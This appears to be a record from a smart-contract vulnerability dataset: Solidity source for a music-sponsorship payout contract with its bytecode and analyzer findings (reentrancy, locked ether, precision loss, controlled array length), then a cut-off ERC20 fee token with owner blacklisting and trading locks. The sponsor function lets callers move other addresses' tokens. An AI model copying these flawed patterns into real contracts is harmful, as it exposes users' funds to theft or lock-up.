pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); function mint(address from, address to, uint tokens) public; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract MusicContract { using SafeMath for uint256; struct Music { address musician; uint musicId; string musicLink; bool marketType; //false for sponsor, true for votes uint totalAmountForUnlock; uint totalEarning; uint amountLeftForUnlock; uint amountToBePaid; bool isUnlocked; } struct Voter { address publicKey; uint amountEarned; } struct Sponsor { address publicKey; uint amountEarned; uint amountPaid; } struct VoteMusicPayoutScheme { uint musicianPercentage; //57 uint voterPercentage;// 35 uint systemPercentage;// 8 } struct SponsorPayoutScheme { uint sponsorPercentage;// 45 uint musicianPercentage;// 37 uint voterPercentage; // 10 uint systemPercentage; // 8 } // The token that would be sold using this contract ERC20Interface public token; //Objects for use within program VoteMusicPayoutScheme voteMusicPayoutSchemeObj; SponsorPayoutScheme sponsorPayoutSchemeObj; Music music; Sponsor sponsor; Voter voter; uint counter = 0; address public wallet; mapping (uint=>Voter[]) musicVoterList; mapping (uint=>Sponsor[]) musicSponsorList; mapping (uint=>Music) musicList; uint localIntAsPerNeed; address localAddressAsPerNeed; Voter[] voters; Sponsor[] sponsors; constructor(address _wallet,address _tokenAddress) public { wallet = _wallet; token = ERC20Interface(_tokenAddress); setup(); } // fallback function can be used to buy tokens function () public payable { revert(); } function setup() internal { voteMusicPayoutSchemeObj = VoteMusicPayoutScheme({musicianPercentage:57, voterPercentage:35, systemPercentage:8}); sponsorPayoutSchemeObj = SponsorPayoutScheme({sponsorPercentage:45, musicianPercentage: 37, voterPercentage:10, systemPercentage:8}); } function UploadMusic(uint muId, string lnk, address muPublicKey,bool unlocktype,uint amount, uint uploadTokenAmount) public { require(msg.sender == wallet); token.mint(muPublicKey,wallet,uploadTokenAmount*10**18); //tokens deducted from advertiser's wallet require(musicList[muId].musicId == 0); //Add to music struct music = Music ({ musician : muPublicKey, musicId : muId, musicLink : lnk, marketType : unlocktype, totalEarning : 0, totalAmountForUnlock : amount * 10 ** 18, amountLeftForUnlock : amount * 10 ** 18, amountToBePaid : uploadTokenAmount * 10 **18, isUnlocked : false }); musicList[muId] = music; } function DownloadMusic(uint musId, address senderId, uint tokenAmount) public returns (bool goAhead) { require(msg.sender == wallet); require(musicList[musId].musicId == musId); require(musicList[musId].isUnlocked == true); token.mint(senderId,wallet,tokenAmount*10**18); musicList[musId].totalEarning = musicList[musId].totalEarning.add(tokenAmount); musicList[musId].amountToBePaid = musicList[musId].amountToBePaid.add(tokenAmount); goAhead = true; } function DoSponsorPayout(Music musicObj) private { //sponsor localIntAsPerNeed = musicObj.musicId; sponsors = musicSponsorList[localIntAsPerNeed]; //calculating sponsor payout localIntAsPerNeed = sponsorPayoutSchemeObj.sponsorPercentage; uint sponsorPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); sponsorPayout = sponsorPayout.div(100); //calculating voter payout voters = musicVoterList[musicObj.musicId]; localIntAsPerNeed = sponsorPayoutSchemeObj.voterPercentage; uint voterPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); voterPayout = voterPayout.div(100); //calculating musician payout localIntAsPerNeed = sponsorPayoutSchemeObj.musicianPercentage; uint musicianPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); musicianPayout = musicianPayout.div(100); //calculating system payout localIntAsPerNeed = sponsorPayoutSchemeObj.systemPercentage; uint systemPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); systemPayout = systemPayout.div(100); //doing sponsor payout for (counter=0;counter<sponsors.length;counter++) { //Find the percentage localIntAsPerNeed = sponsors[counter].amountPaid.mul(100); localIntAsPerNeed = localIntAsPerNeed.div(musicObj.totalAmountForUnlock); uint amtToSend = sponsorPayout.mul(localIntAsPerNeed); amtToSend = amtToSend.div(100); token.mint(wallet, sponsors[counter].publicKey, amtToSend); sponsors[counter].amountEarned = sponsors[counter].amountEarned.add(amtToSend); musicObj.amountToBePaid = musicObj.amountToBePaid.sub(amtToSend); } //doing voter payout if (voters.length>0) { uint perVoterPayout = voterPayout.div(voters.length); for (counter=0;counter<voters.length;counter++) { token.mint(wallet, voters[counter].publicKey, perVoterPayout); voters[counter].amountEarned = voters[counter].amountEarned.add(perVoterPayout); musicObj.amountToBePaid = musicObj.amountToBePaid.sub(perVoterPayout); } } else { musicObj.amountToBePaid = musicObj.amountToBePaid.sub(voterPayout); } //doing musician payout localAddressAsPerNeed = musicObj.musician; token.mint(wallet,localAddressAsPerNeed,musicianPayout); musicObj.amountToBePaid = musicObj.amountToBePaid.sub(musicianPayout); //catering for system payout - no token transfers as the tokens are already in the owner wallet musicObj.amountToBePaid = musicObj.amountToBePaid.sub(systemPayout); require(musicObj.amountToBePaid == 0); } function DoVoterPayout(Music musicObj) private { uint j = 0; //sponsor //calculating voter payout voters = musicVoterList[musicObj.musicId]; localIntAsPerNeed = voteMusicPayoutSchemeObj.voterPercentage; uint voterPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); voterPayout = voterPayout.div(100); uint perVoterPayout = voterPayout.div(voters.length); //calculating musician payout localIntAsPerNeed = voteMusicPayoutSchemeObj.musicianPercentage; uint musicianPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); musicianPayout = musicianPayout.div(100); //calculating system payout localIntAsPerNeed = voteMusicPayoutSchemeObj.systemPercentage; uint systemPayout = musicObj.amountToBePaid.mul(localIntAsPerNeed); systemPayout = systemPayout.div(100); //doing voter payout for (j=0;j<voters.length;j++) { token.mint(wallet,voters[j].publicKey, perVoterPayout); voters[j].amountEarned = voters[j].amountEarned.add(perVoterPayout); musicObj.amountToBePaid = musicObj.amountToBePaid.sub(perVoterPayout); } //doing musician payout token.mint(wallet,musicObj.musician,musicianPayout); musicObj.amountToBePaid = musicObj.amountToBePaid.sub(musicianPayout); //logString("musician payout done"); //catering for system payout - not doing manual transfer as all the tokens are already in the wallet musicObj.amountToBePaid = musicObj.amountToBePaid.sub(systemPayout); require(musicObj.amountToBePaid == 0); } function DoMusicPayout (uint musId) public { require(msg.sender == wallet); require(musicList[musId].musicId == musId); require(musicList[musId].isUnlocked == true); require(musicList[musId].amountToBePaid > 0); require(token.balanceOf(wallet)>=musicList[musId].amountToBePaid); bool unlock = musicList[musId].marketType; if (unlock == false) { //unlock type is sponsor DoSponsorPayout(musicList[musId]); musicList[musId].amountToBePaid = 0; } else { //unlock type is voter DoVoterPayout(musicList[musId]); musicList[musId].amountToBePaid = 0; } } function SponsorMusic(uint musId, uint sponsorAmount, address sponsorAddress) public { //msg.sender is the sponsor sponsorAmount = sponsorAmount * 10 ** 18; require(token.balanceOf(sponsorAddress) > sponsorAmount); require (musicList[musId].musicId == musId); require (musicList[musId].isUnlocked == false); require(musicList[musId].marketType == false); require (musicList[musId].amountLeftForUnlock>=sponsorAmount); token.mint(sponsorAddress,wallet,sponsorAmount); musicList[musId].amountLeftForUnlock = musicList[musId].amountLeftForUnlock.sub(sponsorAmount); musicList[musId].amountToBePaid = musicList[musId].amountToBePaid.add(sponsorAmount); sponsor = Sponsor({ publicKey : msg.sender, amountEarned : 0, amountPaid : sponsorAmount }); musicSponsorList[musId].push(sponsor); if (musicList[musId].amountLeftForUnlock == 0) { musicList[musId].isUnlocked = true; } } function VoteMusic(uint musId, address voterPublicKey) public { require(musicList[musId].musicId == musId); require(musicList[musId].isUnlocked == false); //logString("music found"); voter = Voter({publicKey: voterPublicKey, amountEarned : 0}); musicVoterList[musId].push(voter); //logString("voter added"); } function unlockVoterMusic(uint musId) public { require(msg.sender == wallet); require(musicList[musId].musicId == musId); musicList[musId].isUnlocked = true; } function getTokenBalance() public constant returns (uint) { return token.balanceOf(msg.sender); } function changeWalletAddress(address newWallet) public { require(msg.sender == wallet); wallet = newWallet; } }
0x60806040526004361061008a5763ffffffff60e060020a60003504166308caaa46811461008f578063417b34091461010b578063521eb27314610146578063789fdcb61461017757806382b2e2571461018f57806387e70933146101b6578063a7a3ba54146101da578063ec8edf7a14610201578063ee89bb8714610222578063fc0c546a1461023a575b600080fd5b34801561009b57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261010995833595369560449491939091019190819084018382808284375094975050600160a060020a0385351695505050505060208101351515906040810135906060013561024f565b005b34801561011757600080fd5b50610132600435600160a060020a03602435166044356104ab565b604080519115158252519081900360200190f35b34801561015257600080fd5b5061015b6105f1565b60408051600160a060020a039092168252519081900360200190f35b34801561018357600080fd5b50610109600435610600565b34801561019b57600080fd5b506101a4610999565b60408051918252519081900360200190f35b3480156101c257600080fd5b50610109600435600160a060020a0360243516610a31565b3480156101e657600080fd5b50610109600435602435600160a060020a0360443516610ade565b34801561020d57600080fd5b50610109600160a060020a0360043516610d93565b34801561022e57600080fd5b50610109600435610dcc565b34801561024657600080fd5b5061015b610e1e565b601754600160a060020a0316331461026657600080fd5b600080546017546040805160e160020a636361ddf3028152600160a060020a0389811660048301529283166024820152670de0b6b3a7640000860260448201529051919092169263c6c3bbe6926064808201939182900301818387803b1580156102cf57600080fd5b505af11580156102e3573d6000803e3d6000fd5b5050506000878152601a602052604090206001015415905061030457600080fd5b6040805161012081018252600160a060020a03861680825260208083018a90529282018890528515156060830152670de0b6b3a764000080860260808401819052600060a0850181905260c085019190915290850260e084015261010083015260088054600160a060020a0319169091178155600989905587519192909161039291600a91908a0190611650565b50606082015160038201805491151560ff199283161790556080830151600483015560a0830151600583015560c0830151600683015560e083015160078301556101009283015160089283018054911515919092161790556000888152601a6020526040902081548154600160a060020a031916600160a060020a03909116178155600954600182810191909155600a8054939492936104459360028087019483161590910260001901909116046116ce565b50600382810154908201805460ff1990811660ff9384161515179091556004808501549084015560058085015490840155600680850154908401556007808501549084015560089384015493909201805490921692161515919091179055505050505050565b601754600090600160a060020a031633146104c557600080fd5b6000848152601a602052604090206001015484146104e257600080fd5b6000848152601a602052604090206008015460ff16151560011461050557600080fd5b600080546017546040805160e160020a636361ddf3028152600160a060020a0388811660048301529283166024820152670de0b6b3a7640000870260448201529051919092169263c6c3bbe6926064808201939182900301818387803b15801561056e57600080fd5b505af1158015610582573d6000803e3d6000fd5b5050506000858152601a60205260409020600501546105a891508363ffffffff610e2d16565b6000858152601a602052604090206005810191909155600701546105d2908363ffffffff610e2d16565b6000948552601a60205260409094206007019390935550600192915050565b601754600160a060020a031681565b601754600090600160a060020a0316331461061a57600080fd5b6000828152601a6020526040902060010154821461063757600080fd5b6000828152601a602052604090206008015460ff16151560011461065a57600080fd5b6000828152601a60205260408120600701541161067657600080fd5b6000828152601a6020908152604080832060070154835460175483517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a039182166004820152935192959116936370a08231936024808201949293918390030190829087803b1580156106f157600080fd5b505af1158015610705573d6000803e3d6000fd5b505050506040513d602081101561071b57600080fd5b5051101561072857600080fd5b506000818152601a602052604090206003015460ff1680151561086f576000828152601a60209081526040918290208251610120810184528154600160a060020a03168152600180830154828501526002808401805487516101009482161594909402600019011691909104601f81018690048602830186018752808352610858969395938601938301828280156108015780601f106107d657610100808354040283529160200191610801565b820191906000526020600020905b8154815290600101906020018083116107e457829003601f168201915b5050509183525050600382015460ff90811615156020830152600483015460408301526005830154606083015260068301546080830152600783015460a0830152600890920154909116151560c090910152610e43565b6000828152601a6020526040812060070155610995565b6000828152601a60209081526040918290208251610120810184528154600160a060020a03168152600180830154828501526002808401805487516101009482161594909402600019011691909104601f810186900486028301860187528083526109829693959386019383018282801561092b5780601f106109005761010080835404028352916020019161092b565b820191906000526020600020905b81548152906001019060200180831161090e57829003601f168201915b5050509183525050600382015460ff90811615156020830152600483015460408301526005830154606083015260068301546080830152600783015460a0830152600890920154909116151560c090910152611363565b6000828152601a60205260408120600701555b5050565b60008054604080517f70a082310000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a03909216916370a082319160248082019260209290919082900301818787803b1580156109ff57600080fd5b505af1158015610a13573d6000803e3d6000fd5b505050506040513d6020811015610a2957600080fd5b505190505b90565b6000828152601a60205260409020600101548214610a4e57600080fd5b6000828152601a602052604090206008015460ff1615610a6d57600080fd5b604080518082018252600160a060020a039283168082526000602092830181905260148054600160a060020a03199081169093178155601582815596825260188452938120805460018181018355918352939091209354600290930290930180549290941691161782559154910155565b60008054604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301529151670de0b6b3a764000090960295869492909316926370a0823192602480840193602093929083900390910190829087803b158015610b5857600080fd5b505af1158015610b6c573d6000803e3d6000fd5b505050506040513d6020811015610b8257600080fd5b505111610b8e57600080fd5b6000838152601a60205260409020600101548314610bab57600080fd5b6000838152601a602052604090206008015460ff1615610bca57600080fd5b6000838152601a602052604090206003015460ff1615610be957600080fd5b6000838152601a6020526040902060060154821115610c0757600080fd5b600080546017546040805160e160020a636361ddf3028152600160a060020a0386811660048301529283166024820152604481018790529051919092169263c6c3bbe6926064808201939182900301818387803b158015610c6757600080fd5b505af1158015610c7b573d6000803e3d6000fd5b5050506000848152601a6020526040902060060154610ca191508363ffffffff61160316565b6000848152601a60205260409020600681019190915560070154610ccb908363ffffffff610e2d16565b6000848152601a60208181526040808420600781019590955580516060810182523380825281840186905290820188905260118054600160a060020a03199081169092178155601286815560138a81558b885260198652938720805460018181018355918952868920935460039091029093018054909416600160a060020a0390931692909217835554908201559054600290910155918690529052600601541515610d8e576000838152601a60205260409020600801805460ff191660011790555b505050565b601754600160a060020a03163314610daa57600080fd5b60178054600160a060020a031916600160a060020a0392909216919091179055565b601754600160a060020a03163314610de357600080fd5b6000818152601a60205260409020600101548114610e0057600080fd5b6000908152601a60205260409020600801805460ff19166001179055565b600054600160a060020a031681565b600082820183811015610e3c57fe5b9392505050565b602080820151601b8190556000908152601990915260408120805482918291829182918291610e7591601e9190611743565b50600454601b81905560e0880151610e929163ffffffff61161516565b9550610ea586606463ffffffff61163916565b60208089015160009081526018909152604090208054919750610ecb91601d91906117c1565b50600654601b81905560e0880151610ee89163ffffffff61161516565b9450610efb85606463ffffffff61163916565b600554601b81905560e0890151919650610f1b919063ffffffff61161516565b9350610f2e84606463ffffffff61163916565b600754601b81905560e0890151919550610f4e919063ffffffff61161516565b9250610f6183606463ffffffff61163916565b600060165592505b601e54601654101561111857610fab6064601e601654815481101515610f8b57fe5b90600052602060002090600302016002015461161590919063ffffffff16565b601b8190556080880151610fc5919063ffffffff61163916565b601b819055610fdb90879063ffffffff61161516565b9150610fee82606463ffffffff61163916565b600054601754601654601e8054949650600160a060020a039384169463c6c3bbe69490931692909190811061101f57fe5b600091825260208220600390910201546040805160e060020a63ffffffff8716028152600160a060020a039485166004820152939091166024840152604483018790525160648084019382900301818387803b15801561107e57600080fd5b505af1158015611092573d6000803e3d6000fd5b505050506110cb82601e6016548154811015156110ab57fe5b906000526020600020906003020160010154610e2d90919063ffffffff16565b601e6016548154811015156110dc57fe5b600091825260209091206001600390920201015560e0870151611105908363ffffffff61160316565b60e0880152601680546001019055610f69565b601d546000101561127357601d5461113790869063ffffffff61163916565b600060165590505b601d54601654101561126e57600054601754601654601d8054600160a060020a039485169463c6c3bbe694169290811061117557fe5b600091825260208220600290910201546040805160e060020a63ffffffff8716028152600160a060020a039485166004820152939091166024840152604483018690525160648084019382900301818387803b1580156111d457600080fd5b505af11580156111e8573d6000803e3d6000fd5b5050505061122181601d60165481548110151561120157fe5b906000526020600020906002020160010154610e2d90919063ffffffff16565b601d60165481548110151561123257fe5b600091825260209091206001600290920201015560e087015161125b908263ffffffff61160316565b60e088015260168054600101905561113f565b61128e565b60e0870151611288908663ffffffff61160316565b60e08801525b8651601c8054600160a060020a031916600160a060020a039283161790819055600080546017546040805160e160020a636361ddf30281529186166004830152938516602482015260448101899052925193169263c6c3bbe692606480820193929182900301818387803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b50505060e088015161133291508563ffffffff61160316565b60e08801819052611349908463ffffffff61160316565b60e088018190521561135a57600080fd5b50505050505050565b60208082015160009081526018909152604081208054829182918291829161138d91601d916117c1565b50600254601b81905560e08701516113aa9163ffffffff61161516565b93506113bd84606463ffffffff61163916565b601d549094506113d490859063ffffffff61163916565b600154601b81905560e08801519194506113f4919063ffffffff61161516565b915061140782606463ffffffff61163916565b600354601b81905560e0880151919350611427919063ffffffff61161516565b905061143a81606463ffffffff61163916565b9050600094505b601d5485101561154557600054601754601d8054600160a060020a039384169363c6c3bbe6931691908990811061147457fe5b600091825260208220600290910201546040805160e060020a63ffffffff8716028152600160a060020a039485166004820152939091166024840152604483018890525160648084019382900301818387803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b505050506114fe83601d8781548110151561120157fe5b601d80548790811061150c57fe5b600091825260209091206001600290920201015560e0860151611535908463ffffffff61160316565b60e0870152600190940193611441565b6000805460175488516040805160e160020a636361ddf3028152600160a060020a03938416600482015291831660248301526044820187905251919092169263c6c3bbe6926064808201939182900301818387803b1580156115a657600080fd5b505af11580156115ba573d6000803e3d6000fd5b50505060e08701516115d391508363ffffffff61160316565b60e087018190526115ea908263ffffffff61160316565b60e08701819052156115fb57600080fd5b505050505050565b60008282111561160f57fe5b50900390565b6000828202831580611631575082848281151561162e57fe5b04145b1515610e3c57fe5b600080828481151561164757fe5b04949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061169157805160ff19168380011785556116be565b828001600101855582156116be579182015b828111156116be5782518255916020019190600101906116a3565b506116ca929150611835565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061170757805485556116be565b828001600101855582156116be57600052602060002091601f016020900482015b828111156116be578254825591600101919060010190611728565b8280548282559060005260206000209060030281019282156117b55760005260206000209160030282015b828111156117b55782548254600160a060020a031916600160a060020a0390911617825560018084015490830155600280840154908301556003928301929091019061176e565b506116ca92915061184f565b8280548282559060005260206000209060020281019282156118295760005260206000209160020282015b828111156118295782548254600160a060020a031916600160a060020a0390911617825560018084015490830155600292830192909101906117ec565b506116ca929150611881565b610a2e91905b808211156116ca576000815560010161183b565b610a2e91905b808211156116ca578054600160a060020a03191681556000600182018190556002820155600301611855565b610a2e91905b808211156116ca578054600160a060020a0319168155600060018201556002016118875600a165627a7a72305820dcdd6b09e58544dc8d6b1065e3e4f8e014e5264de39bd4e6d73170e1762a64810029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,518
0x1e56c3c77fe3ee894390a6ab6e21a907ea74a703
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ // File: contracts/ERC20.sol // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AprilFoolsDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AprilFoolsDoge"; string private constant _symbol = "AFDOGE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 6; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function Initialize() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, 